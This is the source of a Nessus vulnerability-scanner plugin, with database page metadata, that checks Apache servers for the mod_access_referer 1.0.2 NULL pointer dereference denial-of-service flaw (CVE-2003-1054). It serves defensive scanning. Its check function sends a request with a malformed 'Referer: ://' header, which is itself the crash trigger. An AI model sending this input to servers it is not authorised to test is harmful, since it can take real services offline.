Lucene search

K
nessusThis script is Copyright (C) 2003-2020 Xue Yong ZhiMOD_ACCESS_REFERER.NASL
HistoryApr 18, 2003 - 12:00 a.m.

mod_access_referer 1.0.2 for Apache Malformed Referer DoS

2003-04-1800:00:00
This script is Copyright (C) 2003-2020 Xue Yong Zhi
www.tenable.com
29

0.038 Low

EPSS

Percentile

91.9%

The remote web server may be using a mod_access_referer apache module
which contains a NULL pointer dereference bug. Abuse of this
vulnerability could allow an attacker to launch a denial of service
attack against affected systems.

#
# This script was written by Xue Yong Zhi ([email protected])
# 

# Changes by Tenable:
# - Revised plugin title, changed family, formatted desc/solution (6/24/09)

# Ref:
# Date: Wed, 16 Apr 2003 23:14:33 +0200
# From: zillion <[email protected]>
# To: [email protected]
# Subject: [VulnWatch] Apache mod_access_referer denial of service issue


exit(0); # Temporarily disabled

include("compat.inc");

if(description)
{
 script_id(11543); 
 script_version("1.28");
 script_cve_id("CVE-2003-1054");
 script_bugtraq_id(7375);

 script_name(english:"mod_access_referer 1.0.2 for Apache Malformed Referer DoS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is using a module that is affected by a 
denial of service vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote web server may be using a mod_access_referer apache module
which contains a NULL pointer dereference bug. Abuse of this 
vulnerability could allow an attacker to launch a denial of service 
attack against affected systems." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2003/Apr/235" );
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:W/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/04/18");
 script_set_attribute(attribute:"vuln_publication_date", value: "2003/04/16");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
 script_summary(english:"Apache module mod_access_referer 1.0.2 contains a NULL pointer dereference vulnerability");
 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2003-2020 Xue Yong Zhi");
 script_family(english:"Web Servers");
 script_dependencie("find_service1.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("www/apache");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80, embedded:TRUE);

b = get_http_banner(port: port);
l = egrep(string: b, pattern: "^Server: Apache");
if (! l) exit(0);
if ("Apache/" >< l && ! ereg(string: l, pattern: "Apache/(1\.3|2\.0)"))
  exit(0);

function check(req)
{
  local_var idx, r, soc;
  #As you see, the Referer part is malformed.
  #And it depends on configuration too -- there must be an IP
  #addresses based access list for mod_access_referer.

  soc = http_open_socket(port);
  if(!soc)exit(0);

  req = http_get(item:req, port:port);
  idx = stridx(req, string("\r\n\r\n"));
  req = insstr(req, string("\r\nReferer: ://www.nessus.org\r\n\r\n"), idx);
  send(socket:soc, data:req);
  r = http_recv(socket:soc);
  http_close_socket(soc);
  if ( "HTTP">< r ) return(0);
  
  security_warning(port);
  exit(0);
}

# first to make sure it's a working webserver

req = http_get(item:"/", port:port);
idx = stridx(req, string("\r\n\r\n"));
req = insstr(req, string("\r\nReferer: http://www.nessus.org\r\n\r\n"), idx);
r = http_keepalive_send_recv(port:port, data:req);
if(r==NULL) exit(0);
if("HTTP">!<r) exit(0);

# We do not know which dir is under control of the
# mod_access_reeferer, just try some...

dirs = get_kb_item(string("www/", port, "/content/directories"));
if(isnull(dirs))dirs = make_list("/");

foreach dir (make_list(cgi_dirs(),"/", dirs))
{
 if(dir && check(req:dir)) exit(0);
}

0.038 Low

EPSS

Percentile

91.9%

Related for MOD_ACCESS_REFERER.NASL